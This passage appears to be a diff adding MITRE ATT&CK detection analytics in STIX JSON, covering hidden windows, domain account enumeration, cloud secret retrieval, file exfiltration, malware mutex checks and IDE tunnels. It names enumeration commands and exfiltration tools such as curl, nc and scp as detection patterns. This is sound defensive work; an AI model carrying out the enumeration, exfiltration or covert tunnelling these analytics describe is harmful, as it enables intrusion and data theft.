"1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7ef0d746-f233-4b41-b999-43a6b1484574", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0128#AN0361", + "external_id": "AN0361" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0361", + "description": "Suspicious invocation of GUI utilities or scripts with suppressed or redirected windowing options. Defender view: detection of X11 or Wayland calls to spawn windows that do not appear on active displays, or use of nohup/screen/tmux to mask interactive shells.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:EXECVE", + "channel": "Execution of GUI-related binaries with suppressed window/display flags" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "auditd:SYSCALL", + "channel": "Use of fork/exec with DISPLAY unset or redirected" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DisplayScope", + "description": "Restrict monitoring to interactive GUI contexts rather than server/headless processes." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3d9fb03c-fcc9-4f19-9c49-09d8321f28b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0128#AN0362", + "external_id": "AN0362" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0362", + "description": "Modification of plist files to set apple.awt.UIElement or similar flags hiding app icons and windows, and dscl/command-line activity that suppresses visibility. Defender view: correlation of plist modifications with unexpected hidden user applications.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "Modification of plist with apple.awt.UIElement set to TRUE" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of Java apps or other processes with hidden window attributes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PlistScope", + "description": "Restrict detection to application plists where UIElement flag is unexpected." + }, + { + "field": "UserContext", + "description": "Correlate plist modifications with the creating/modifying user to tune results." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8f0ac116-4c8a-4819-b7c0-744e05d672c9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0129#AN0363", + "external_id": "AN0363" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0363", + "description": "Adversary enumeration of domain accounts using net.exe, PowerShell, WMI, or LDAP queries from non-domain controllers or non-admin endpoints.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "LDAP Bind/Search" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLinePattern", + "description": "Detect variations of 'net user /domain', 'Get-ADUser', 'Get-ADGroupMember'." + }, + { + "field": "TimeWindow", + "description": "Tune detection for bursts of enumeration commands or search queries." + }, + { + "field": "SourceHost", + "description": "Restrict detection to non-DC or non-admin systems where such commands are unexpected." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4bad86cf-6cab-46f4-8748-28dc8c8ec81b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0129#AN0364", + "external_id": "AN0364" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0364", + "description": "Domain account enumeration using ldapsearch, samba tools (e.g., 'wbinfo -u'), or winbindd lookups.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "linuxsyslog", + "channel": "nslcd or winbind logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "LDAP Query" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessName", + "description": "Detect suspicious use of ldapsearch, wbinfo, getent passwd, or samba enumeration tools." + }, + { + "field": "LDAPSearchFilter", + "description": "Tune for high-volume or broad-scope LDAP queries." + }, + { + "field": "UserContext", + "description": "Apply filters for unexpected users or service accounts executing the behavior." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ef50b854-172a-457b-9d0e-c95d9835eaaa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0129#AN0365", + "external_id": "AN0365" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0365", + "description": "Domain group and user enumeration via dscl or dscacheutil, or queries to directory services from non-admin endpoints.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Process Execution" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "DS daemon log entries" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandPattern", + "description": "Match patterns such as 'dscl /Active\\ Directory/All\\ Domains -list /Users'." + }, + { + "field": "EndpointRole", + "description": "Flag this activity only on non-directory hosts or non-admin accounts." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--90eca5d7-c330-4b86-bde6-de04019cbba7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0130#AN0366", + "external_id": "AN0366" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0366", + "description": "Detection of suspicious access to cloud-native secret management systems (AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, HashiCorp Vault). Focuses on abnormal secret retrieval activity, such as secrets being accessed by unusual identities, from unexpected regions, outside business hours, or at high volume. Correlates API calls to secret retrieval with surrounding authentication events, role assumptions, and anomalous execution patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac", + "name": "AWS:CloudTrail", + "channel": "GetSecretValue" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PrivilegedRoles", + "description": "Set of accounts or roles allowed to retrieve secrets; deviations may indicate misuse." + }, + { + "field": "TimeWindow", + "description": "Temporal window to correlate secret access with authentication and anomalous context." + }, + { + "field": "AccessPatterns", + "description": "Expected frequency and volume of secret retrievals per user/service; anomalies may indicate exfiltration." + }, + { + "field": "RegionConstraints", + "description": "Regions in which secret access is expected; access from unusual geographies may indicate compromise." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1543bc4a-7614-417a-85b9-d67e3da0350c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0131#AN0367", + "external_id": "AN0367" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0367", + "description": "Detects unusual outbound file transfer behavior using protocols like FTP, SMB, SMTP, or DNS, involving non-standard processes, off-hour activity, or uncommonly high volume.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DataVolumeThresholdMB", + "description": "Set threshold for outbound volume (e.g., >50MB in a single connection)." + }, + { + "field": "ProtocolAllowList", + "description": "Allow-listed protocols in use for specific machines or users (e.g., FTP allowed for backups)." + }, + { + "field": "TimeWindow", + "description": "Define allowed time-of-day windows (e.g., flag after-hours file transfer)." + }, + { + "field": "ParentProcessAnomaly", + "description": "Identify anomalous parent-child process relationships (e.g., `winword.exe` spawning `ftp.exe`)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7402eb3b-9349-478a-a8e9-7ee72c4b67c5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0131#AN0368", + "external_id": "AN0368" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0368", + "description": "Detects file exfiltration using tools like curl, scp, or custom binaries over protocols such as FTP, HTTP/S, or DNS tunneling, especially outside baseline user behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "connect" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "NetFlow/Zeek conn.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProtocolType", + "description": "Flag unexpected protocols (e.g., HTTP on port 53 or FTP traffic from non-standard tools)." + }, + { + "field": "UserContext", + "description": "Scope for privilege escalation or service account behavior." + }, + { + "field": "FileExtensionSensitivity", + "description": "Track movement of file types of interest (e.g., `.csv`, `.sql`, `.key`)." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c545f39e-d1a2-4b0e-bdf1-6a84226557e9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0131#AN0369", + "external_id": "AN0369" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0369", + "description": "Detects non-native file transfer via curl, Python scripts, or AppleScript using uncommon protocols like FTP, SMTP, or DNS exfiltration through mDNSResponder abuse.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "log stream (subsystem: com.apple.system.networking)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:osquery", + "channel": "file_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProtocolUnusualnessScore", + "description": "Weight rarely-used protocols in user space." + }, + { + "field": "ExecutableBaselining", + "description": "Track which binaries usually call curl/nc and alert on deviation." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8dbd751b-a2cf-418a-b409-daae78a250f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0131#AN0370", + "external_id": "AN0370" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0370", + "description": "Detects access to cloud APIs or CLI tools to move or sync files from sensitive buckets to external endpoints using protocols like HTTPS or S3 APIs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--58ef998c-f3bf-4985-b487-b1005f5c05d1", + "name": "AWS:CloudTrail", + "channel": "PutObject, GetObject, CopyObject, DeleteObject" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "AWS:VPCFlowLogs", + "channel": "Outbound data flows" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "IAMRoleContext", + "description": "Detect unauthorized use of roles for cloud storage manipulation." + }, + { + "field": "GeoDestinationThreshold", + "description": "Alert on outbound flows to geo-locations not seen in training baseline." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3810988a-78be-4628-a9a5-500020f9c075", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0131#AN0371", + "external_id": "AN0371" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0371", + "description": "Detects outbound traffic from hostd/vpxa or guest VM interfaces using unauthorized protocols such as FTP, HTTP POST bursts, or long-lived DNS tunnels.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:hostd", + "channel": "logline inspection" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "esxi:vmkernel", + "channel": "protocol egress" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "GuestTrafficBaseline", + "description": "Expected protocols used by VMs attached to host interfaces." + }, + { + "field": "ServiceAccountProfile", + "description": "Unexpected network activity from hypervisor processes or monitoring agents." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1282f497-ce04-4151-9bd0-4eedbf4530b6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0132#AN0372", + "external_id": "AN0372" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0372", + "description": "Adversary-created named mutex using system APIs (e.g., CreateMutexW) followed by conditional process termination or alternate code path indicating malware avoiding reinfection.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "mutex_name_entropy_threshold", + "description": "Filter out common benign mutex names; highlight suspicious high-entropy/dynamic names." + }, + { + "field": "parent_process_path", + "description": "Limit alerting to non-standard parent-child relationships indicative of malware staging or self-spawning." + }, + { + "field": "TimeWindow", + "description": "Correlate mutex creation + rapid process exit or lack of further activity within a short timeframe." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7c0e4ffa-7f95-41de-9e3b-de2ad4a7a9ae", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0132#AN0373", + "external_id": "AN0373" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0373", + "description": "File lock acquired via open() + flock() or lockf() on predictable path (e.g., /tmp/.lock123) followed by conditional early exit or divergent process behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open, flock, fcntl, unlink" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "name": "auditd:SYSCALL", + "channel": "exit_group" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "lockfile_path_regex", + "description": "Detect patterns like /tmp/.lock*, /var/run/*lock used by malware." + }, + { + "field": "exit_code", + "description": "Track specific exit codes (e.g., 1, 2) that signal lock acquisition failure." + }, + { + "field": "TimeWindow", + "description": "Correlate lockfile access + early process termination within N seconds." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4ab12b3f-5c6a-42a6-8d9c-c10b7e814986", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0132#AN0374", + "external_id": "AN0374" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0374", + "description": "User-mode application uses flock() or NSDistributedLock to gain exclusive access to a resource file (e.g., /tmp/guard.lock), conditional logic alters execution if already locked.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "macos:unifiedlog", + "channel": "flock|NSDistributedLock|FileHandle.*lockForWriting" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "name": "macos:unifiedlog", + "channel": "process.*exit.*code" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "lockfile_path", + "description": "Path to mutex file (e.g., /tmp/*, /private/tmp/*), tune per environment." + }, + { + "field": "user_context", + "description": "Flag non-user processes using these APIs." + }, + { + "field": "TimeWindow", + "description": "Detection correlation across short time intervals between lock attempt and process exit." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e3517ec0-f12a-4f64-8d10-e6bc2677f7d7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0133#AN0375", + "external_id": "AN0375" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0375", + "description": "Detection of the creation of VSCode or JetBrains CLI tunneling profiles followed by persistent remote access via IDE-integrated tunnels, potentially authenticated via GitHub or JetBrains accounts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "Outbound connection to *.tunnels.api.visualstudio.com or *.devtunnels.ms" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Used to define the temporal proximity between tunnel profile creation and outbound connection." + }, + { + "field": "TunnelDomainPatterns", + "description": "Domain patterns for tunnel endpoints may change with IDE versions or organizations." + }, + { + "field": "AuthorizedUserList", + "description": "Helps filter tunnel usage from trusted developer accounts." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a0a0f8e9-7a55-4450-8569-7a0e1c0aac0b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0133#AN0376", + "external_id": "AN0376" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0376", + "description": "Creation of VSCode tunnel configuration file combined with interactive remote session via code CLI or ssh with JetBrains gateway.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve on code or jetbrains-gateway with remote flags" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "open: Write to ~/.vscode-cli/code_tunnel.json" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "Connections to *.devtunnels.ms or tunnels.api.visualstudio.com" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PathRegex", + "description": "Regex patterns for user home directory file paths may vary by distro or user." + }, + { + "field": "TunnelCLIFlags", + "description": "Tunnel flags used by CLI tools can be customized or obfuscated by adversaries." + }, + { + "field": "Username", + "description": "The Linux user account associated with tunnel initiation; may vary 